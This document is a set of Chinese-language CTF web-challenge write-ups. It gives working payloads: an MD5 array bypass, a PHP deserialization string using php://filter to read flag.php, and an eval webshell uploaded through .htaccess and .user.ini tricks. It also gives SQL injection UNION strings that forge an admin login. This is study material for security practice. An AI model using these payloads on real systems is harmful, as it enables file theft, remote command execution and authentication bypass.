[MRCTF2020]Ez_bypass
原始碼如下
首先顯示MD5值強比較,我們就用陣列繞過
?id[]=1&gg[]=2
然後後面就用字串繞過,他在解析的時候,會轉換成數值
passwd=1234567a
總的payload
[網鼎杯 2020 青龍組]AreUSerialz
參考:
[網鼎杯 2020 青龍組]AreUSerialz 解題思路&過程-CSDN部落格
開啟題目就是原始碼
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
我們可以看出來是一個反序列化的題。
它需要我們傳遞的引數ascll碼對應的32-125的位置,都是些常見的可列印字元
然後__destruct會判斷我們是不是op=2,我們需要繞過,這個是===,我們直接數字2繞過
然後process裡面,我們進入read(),然後讀取flag.php原始碼
分析完畢,我們開啟php線上
構造完畢後會顯示不可列印字元
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}
$a=new FileHandler();
echo serialize($a);
大佬說
檢視網頁原始碼,可以看到有不可列印字元。這是因為序列化後protected型別的屬性存在不可列印字元。(經測試,private型別的屬性序列化後也產生不可列印字元)對於PHP版本7.1+,對屬性的型別不敏感,我們可以將protected型別改為public,以消除不可列印字元。
所以我們把屬性都改成 public,再構造一次
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
bas64解碼得到flag
[GXYCTF2019]BabyUpload
這道題先是過濾了字尾不能出現ph,我們平常用的php檔案字尾,都用不了,所以這個繞不過
還有檔案型別過濾,可以改成 image/jpeg
檔案裡內容不能出現 <? ,那我們就換寫法
<script language="php">eval($_REQUEST['cmd']);</script>
中間我訪問了錯誤地址,發現是apache中介軟體,所以我們這道題可以.htaccess繞過
<IfModule mime_module>
SetHandler application/x-httpd-php
</IfModule>
然後上傳圖片馬
蟻劍連線找到flag
[SUCTF 2019]CheckIn
參考:
[檔案上傳]淺析.user.ini的利用-CSDN部落格
這道題和上道題差不多,只不過這道題用了.user.ini繞過,多了一個檔案頭檢測
我們檔案頭就加上GIF89a
我們先上傳 .user.ini
GIF89a
auto_prepend_file=shell.jpg
然後上傳shell.jpg
GIF89a
<script language="php">eval($_REQUEST['cmd']);</script>
然後以index.php這個為連線地址,就可以連線蟻劍,找到flag
.user.ini檔案過幾分鐘就會更新消失
[GXYCTF2019]BabySQli
參考:
[GXYCTF2019]BabySQli 1-CSDN部落格
[BUUCTF GXYCTF2019]BabySQli 1 詳解!(MD5與SQL之間的碰撞)-雲社群-華為雲 (huaweicloud.com)
這道題我先試了試
遮蔽了 or =,然後大寫就可以繞過了
所以我們報欄位
1' OR true ORDER BY 3#//正常回顯
1' OR true ORDER BY 4#//錯誤回顯
所以欄位數為 3
然後我想正常注入,注入不行
看了一下師傅們的部落格,說是在登入失敗那個介面裡有個小提示
`
然後拿去Cyberchef解密CyberChef
然後發現後臺的查詢語句,我們也是試出來幾個欄位,然後使用者名稱是admin,然後我們看看admin在哪個欄位
試出來發現是第二個欄位
' union select 1,'admin',3#
然後看看原始碼的邏輯,比賽估計沒有,這時候我們學習,還是看看吧
大佬的解釋如下:[BUUCTF GXYCTF2019]BabySQli 1 詳解!(MD5與SQL之間的碰撞)-雲社群-華為雲 (huaweicloud.com)
username資料表裡面的3個欄位分別是flag、name、password。
猜測只有password欄位位NULL
咱們給引數password傳入的值是123
那麼傳進去後,後臺就會把123進行md5值加密並存放到password欄位當中
當我們使用查詢語句的時候
我們pw引數的值會被md5值進行加密
然後再去與之前存入password中的md5值進行比較
如果相同就會輸出flag
然後我們就給 123 MD5加密
202cb962ac59075b964b07152d234b70
payload
' union select 1,'admin','202cb962ac59075b964b07152d234b70'# //username
123 //password
成功拿到flag